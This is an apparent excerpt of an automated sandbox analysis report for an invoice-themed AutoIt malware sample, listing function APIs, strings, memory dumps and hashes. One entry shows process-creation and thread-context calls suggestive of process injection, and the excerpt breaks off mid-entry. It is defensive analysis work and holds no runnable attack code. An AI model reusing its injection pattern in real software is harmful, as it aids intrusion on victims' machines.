                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: IconLoadNotifyShell_String_memmove_wcscpy_wcslen_wcsncpy
                                          • String ID: Line:
                                          • API String ID: 1874344091-1585850449
                                          • Opcode ID: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
                                          • Instruction ID: 22c0e507134e40740d6fd31dbafdd21c3b8ff828be9a92102ab360472f74cad7
                                          • Opcode Fuzzy Hash: 71d679a4a9352c46b300ee00bac0ebd609a16659c7848ecadc14a4878baa23f7
                                          • Instruction Fuzzy Hash: EB31A1715083459BD320EB61DC45BDA77E8BF85318F04093EF588931E1E7B8AA49C75E
                                          Function 0040F250 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 66registryCOMMON
                                          Download Yara Rule
                                          APIs
                                          • RegOpenKeyExW.KERNELBASE(00000004,Control Panel\Mouse,00000000,00000001,00000004,00000004), ref: 0040F267
                                          • RegQueryValueExW.KERNELBASE(00000000,?,00000000,00000000,?,?,00000002,00000000), ref: 0040F28E
                                          • RegCloseKey.KERNELBASE(?), ref: 0040F2B5
                                          • RegCloseKey.ADVAPI32(?), ref: 0040F2C9
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Close$OpenQueryValue
                                          • String ID: Control Panel\Mouse
                                          • API String ID: 1607946009-824357125
                                          • Opcode ID: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
                                          • Instruction ID: a31ac2e1b7deaa2d1d9e7506379341dce8fcd1dacbe24dc49005ae4a0027d3ba
                                          • Opcode Fuzzy Hash: 0a2ddf5dd10fc63f6e19eedc2563a5e53f3783e3c799d68c1c3a3a1866560054
                                          • Instruction Fuzzy Hash: 91118C76640108AFCB10CFA8ED459EFB7BCEF59300B1089AAF908C3210E6759A11DBA4
                                          Function 0433A2C8 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateProcessW.KERNELBASE(?,00000000), ref: 0433AA83
                                          • Wow64GetThreadContext.KERNEL32(?,00010007), ref: 0433AB19
                                          • ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 0433AB3B
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1678168488.0000000004339000.00000040.00000020.00020000.00000000.sdmp, Offset: 04339000, based on PE: false
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_4339000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$ContextCreateMemoryReadThreadWow64
                                          • String ID:
                                          • API String ID: 2438371351-0
                                          • Opcode ID: fc310a6135c3389c0587bc6629e9838c2c50d5be0bfc8bfa2df8a04cac11b1e3
                                          • Instruction ID: 2160a7eaddf421606b555fbf819a9d4cc5ea0eae3cedf0c5c6d36993ffca6bf2
                                          • Opcode Fuzzy Hash: fc310a6135c3389c0587bc6629e9838c2c50d5be0bfc8bfa2df8a04cac11b1e3
                                          • Instruction Fuzzy Hash: 22622C30A14618DBEB24DFA4C850BDEB376EF58301F1091A9D14DEB390E779AE81CB59
                                          Function 0040F570 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 247COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0040F760: _strcat.LIBCMT ref: 0040F786
                                          • _free.LIBCMT ref: 004295A0
                                            • Part of subcall function 004033C0: GetCurrentDirectoryW.KERNEL32(00000104,?,?), ref: 00403451
                                            • Part of subcall function 004033C0: GetFullPathNameW.KERNEL32(?,00000104,?,?), ref: 00403467
                                            • Part of subcall function 004033C0: __wsplitpath.LIBCMT ref: 00403492
                                            • Part of subcall function 004033C0: _wcscpy.LIBCMT ref: 004034A7
                                            • Part of subcall function 004033C0: _wcscat.LIBCMT ref: 004034BC
                                            • Part of subcall function 004033C0: SetCurrentDirectoryW.KERNEL32(?), ref: 004034CC
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: CurrentDirectory$FullNamePath__wsplitpath_free_strcat_wcscat_wcscpy
                                          • String ID: >>>AUTOIT SCRIPT<<<$C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                          • API String ID: 3938964917-366464794
                                          • Opcode ID: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
                                          • Instruction ID: c8289cc7cde30cfde4dff3f83c8481f20f860a5b07fa540731426c520eca24fb
                                          • Opcode Fuzzy Hash: 54ef76e4734de236163cd7b280f05d5101af8392224d903fd41af02c4ea86240
                                          • Instruction Fuzzy Hash: 9A919171A00219ABCF04EFA5D8819EE7774BF48314F50452EF915B7391D778EA06CBA8
                                          Function 0040BD80 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 93COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove
                                          • String ID: Error:
                                          • API String ID: 4104443479-232661952
                                          • Opcode ID: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
                                          • Instruction ID: 2c658176ab693071ca67d4d31bd2fe4acf4d59654e7b744331f3a235cb1e2e29
                                          • Opcode Fuzzy Hash: 20a21836adb2195423de36251fb93945767d574b7418eb2d4267c7510a98c7d8
                                          • Instruction Fuzzy Hash: 0D3191716006059FC324DF29C881AA7B3E6EF84314B24853FE95AC7791EB79E941CBD8
                                          Function 0040F520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 52COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetOpenFileNameW.COMDLG32(?), ref: 0042961B
                                            • Part of subcall function 00410120: GetFullPathNameW.KERNEL32(00000000,00000104,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,0040F545,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,004A90E8,C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe,?,0040F545), ref: 0041013C
                                            • Part of subcall function 004102B0: SHGetMalloc.SHELL32(0040F54C), ref: 004102BD
                                            • Part of subcall function 004102B0: SHGetDesktopFolder.SHELL32(?,004A90E8), ref: 004102D2
                                            • Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 004102ED
                                            • Part of subcall function 004102B0: SHGetPathFromIDListW.SHELL32(?,?), ref: 00410327
                                            • Part of subcall function 004102B0: _wcsncpy.LIBCMT ref: 00410340
                                            • Part of subcall function 00410190: GetFullPathNameW.KERNEL32(?,00000104,?,?,?), ref: 004101AB
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: NamePath$Full_wcsncpy$DesktopFileFolderFromListMallocOpen
                                          • String ID: X$pWH
                                          • API String ID: 85490731-941433119
                                          • Opcode ID: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
                                          • Instruction ID: b6f0e4d7e30e2857a1e9cc165fafff24640ac0dd2e9829c062eaf90218724cbe
                                          • Opcode Fuzzy Hash: 1b62eedeb2ba23f3a12794f4d72c3fd3ac9c0abd578206ca8986e50026ca9cbc
                                          • Instruction Fuzzy Hash: 1F118AB0A00244ABDB11EFD9DC457DEBBF95F45304F14842AE504AB392D7FD08498BA9
                                          Function 00401B10 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 41COMMON
                                          Download Yara Rule
                                          APIs
                                          • _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • _memmove.LIBCMT ref: 00401B57
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411626
                                            • Part of subcall function 004115D7: std::exception::exception.LIBCMT ref: 00411640
                                            • Part of subcall function 004115D7: __CxxThrowException@8.LIBCMT ref: 00411651
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: std::exception::exception$Exception@8Throw_malloc_memmove_wcslen
                                          • String ID: @EXITCODE
                                          • API String ID: 2734553683-3436989551
                                          • Opcode ID: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
                                          • Instruction ID: 16ac7666fc6b8d0cd4c8082de1062d74cbdf630d8e5b0a9ec9a55ac2b86b5c72
                                          • Opcode Fuzzy Hash: b6d17f11840b334af4eb2c0dc4703dd6ec7fe6b5974f9b569570c14fa5f7c58b
                                          • Instruction Fuzzy Hash: D5F0CDF2B00641AFD720DB36DC02B6775E49B84308F04883EA24BC6795FA7DE4828B14
                                          Function 00410100 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 40COMMON
                                          Download Yara Rule
                                          Strings
                                          • C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe, xrefs: 00410107
                                          • >>>AUTOIT NO CMDEXECUTE<<<, xrefs: 0042804F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _strcat
                                          • String ID: >>>AUTOIT NO CMDEXECUTE<<<$C:\Users\user\Desktop\DEBIT NOTE 01ST SEP 2024.exe
                                          • API String ID: 1765576173-2871418924
                                          • Opcode ID: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
                                          • Instruction ID: e645463cc19bd0c1a49bcabea2d674544a6c2f3c5714d62cb3526a870e150300
                                          • Opcode Fuzzy Hash: 9cf7010eca5106026e95a37c4c4993c7a48cbbbd0f5b26026c251fe95f3d7589
                                          • Instruction Fuzzy Hash: FBF090B390020D768B00F6E6D942CEFB37C9985704B5006AFA905B3152EA79EA0987B6
                                          Function 00475077 Relevance: 4.9, APIs: 3, Instructions: 390COMMON
                                          Download Yara Rule
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID:
                                          • API String ID:
                                          • Opcode ID: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
                                          • Instruction ID: 8c99b1ef877cebc7a747b8a97cc81d83a07aa3771b44d3adc2ea031a64448d8d
                                          • Opcode Fuzzy Hash: 7af5e299b258df5e9c9a2551ed0e7af6e1d4c875de24c7fdf76d77545964eae0
                                          • Instruction Fuzzy Hash: CEF18C716043019FC700DF29C884A5AB7E5FF88318F14C95EF9998B392D7B9E945CB86
                                          Function 00414ABA Relevance: 4.7, APIs: 3, Instructions: 160COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __filbuf__getptd_noexit__read_memcpy_s
                                          • String ID:
                                          • API String ID: 1794320848-0
                                          • Opcode ID: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
                                          • Instruction ID: 2f36134af58cf06217a4581a57f76d3547d7b7b98d7afe96428f3577b7504850
                                          • Opcode Fuzzy Hash: b5af9ce9d8135965a8c163c1359f1833c669f36246c0dfec509ee2915f8c5eb0
                                          • Instruction Fuzzy Hash: 6C51E631A01208DBCB249F69C9446DFB7B1AFC0364F25826BE43597290E378EED1CB59
                                          Function 00475300 Relevance: 4.6, APIs: 3, Instructions: 141COMMON
                                          Download Yara Rule
                                          APIs
                                          • GetCurrentProcess.KERNEL32(00000000,?,00000067,000000FF), ref: 004753C7
                                          • TerminateProcess.KERNEL32(00000000), ref: 004753CE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process$CurrentTerminate
                                          • String ID:
                                          • API String ID: 2429186680-0
                                          • Opcode ID: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
                                          • Instruction ID: dddcdfafc98398d1c0f0a19edd80e49036cf45bbfca44c020541658de01b6296
                                          • Opcode Fuzzy Hash: aaa6002d905a33e4c3ceade7f85f71e7f986a1c67485104df61a1a5e3f63762c
                                          • Instruction Fuzzy Hash: 2C519D71604301AFC710DF65C881BABB7E5EF88308F14891EF9598B382D7B9D945CB96
                                          Function 0040E0C0 Relevance: 4.6, APIs: 3, Instructions: 82windowCOMMON
                                          Download Yara Rule
                                          APIs
                                          • Shell_NotifyIconW.SHELL32(00000000,?), ref: 0040E1A7
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: IconNotifyShell_
                                          • String ID:
                                          • API String ID: 1144537725-0
                                          • Opcode ID: 02018e3f435d091181cdea07546ede041b4d96144d17d916b2823846d4297506
                                          • Instruction ID: eb3a406907b17a2fb372061a5351d340f380801689ea858bebf243c914dbfa85
                                          • Opcode Fuzzy Hash: 02018e3f435d091181cdea07546ede041b4d96144d17d916b2823846d4297506
                                          • Instruction Fuzzy Hash: 16318F70608701DFD320CF25D855797BBE4BB85314F000C3EE5AA87391E7B8A958CB5A
                                          Function 0043213D Relevance: 4.5, APIs: 3, Instructions: 38COMMON
                                          Download Yara Rule
                                          APIs
                                          • _malloc.LIBCMT ref: 0043214B
                                            • Part of subcall function 004135BB: __FF_MSGBANNER.LIBCMT ref: 004135D4
                                            • Part of subcall function 004135BB: __NMSG_WRITE.LIBCMT ref: 004135DB
                                            • Part of subcall function 004135BB: RtlAllocateHeap.NTDLL(00000000,00000001,?,?,?,?,004115F6,?,00401BAC,?,?,?), ref: 00413600
                                          • _malloc.LIBCMT ref: 0043215D
                                          • _malloc.LIBCMT ref: 0043216F
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _malloc$AllocateHeap
                                          • String ID:
                                          • API String ID: 680241177-0
                                          • Opcode ID: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
                                          • Instruction ID: dac51259f70ca5acf95ac1b1a30df86389447b5c3122b5fc7e5239b6c816f1c7
                                          • Opcode Fuzzy Hash: ab61ccc74db86e6fcdeb904a32b1d9569ed7ac6f88b96914968634a5dd1a0039
                                          • Instruction Fuzzy Hash: A0F0E273200B142AD2206A6A6DC1BE7B39ADBD4765F00403FFB058A206DAE9988542EC
                                          Function 0040AFA0 Relevance: 3.3, APIs: 2, Instructions: 258COMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ClearVariant
                                          • String ID:
                                          • API String ID: 1473721057-0
                                          • Opcode ID: 30fb1b5656a8e298aebe1b45ed9f9297ed51282c110b4441b4c64d109fdc6671
                                          • Instruction ID: 76271617df0236ab3ccd2777984eb13d60b28668e4953fb9a85eec064aa2abc3
                                          • Opcode Fuzzy Hash: 30fb1b5656a8e298aebe1b45ed9f9297ed51282c110b4441b4c64d109fdc6671
                                          • Instruction Fuzzy Hash: F891A370A00204DFDB14DF65D884AAAB3B5EF09304F24C56BE915AB391D739EC41CBAE
                                          Function 00467897 Relevance: 3.2, APIs: 2, Instructions: 170COMMON
                                          Download Yara Rule
                                          APIs
                                          • __wsplitpath.LIBCMT ref: 004678F7
                                            • Part of subcall function 004115D7: _malloc.LIBCMT ref: 004115F1
                                          • GetLastError.KERNEL32(00000000,00000000), ref: 004679C7
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLast__wsplitpath_malloc
                                          • String ID:
                                          • API String ID: 4163294574-0
                                          • Opcode ID: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
                                          • Instruction ID: 5ded281afda408fdcd401bf2365ceabb828b89a129c607e264fb1023d06c7d2e
                                          • Opcode Fuzzy Hash: b7e2b2e067b321cb14cd8dd870a284e502ce9d37bff932640fd458450c7e1011
                                          • Instruction Fuzzy Hash: FB5126712083018BD710EF75C881A5BB3E5AF84318F044A6EF9559B381EB39ED09CB97
                                          Function 0040F760 Relevance: 3.1, APIs: 2, Instructions: 92COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0040F6F0: _wcslen.LIBCMT ref: 0040F705
                                            • Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,?,?,?,00454478,?,00000000,?,?), ref: 0040F71E
                                            • Part of subcall function 0040F6F0: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000000,?,?,00000000,?,?,?,?), ref: 0040F747
                                          • _strcat.LIBCMT ref: 0040F786
                                            • Part of subcall function 0040F850: _strlen.LIBCMT ref: 0040F858
                                            • Part of subcall function 0040F850: _sprintf.LIBCMT ref: 0040F9AE
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
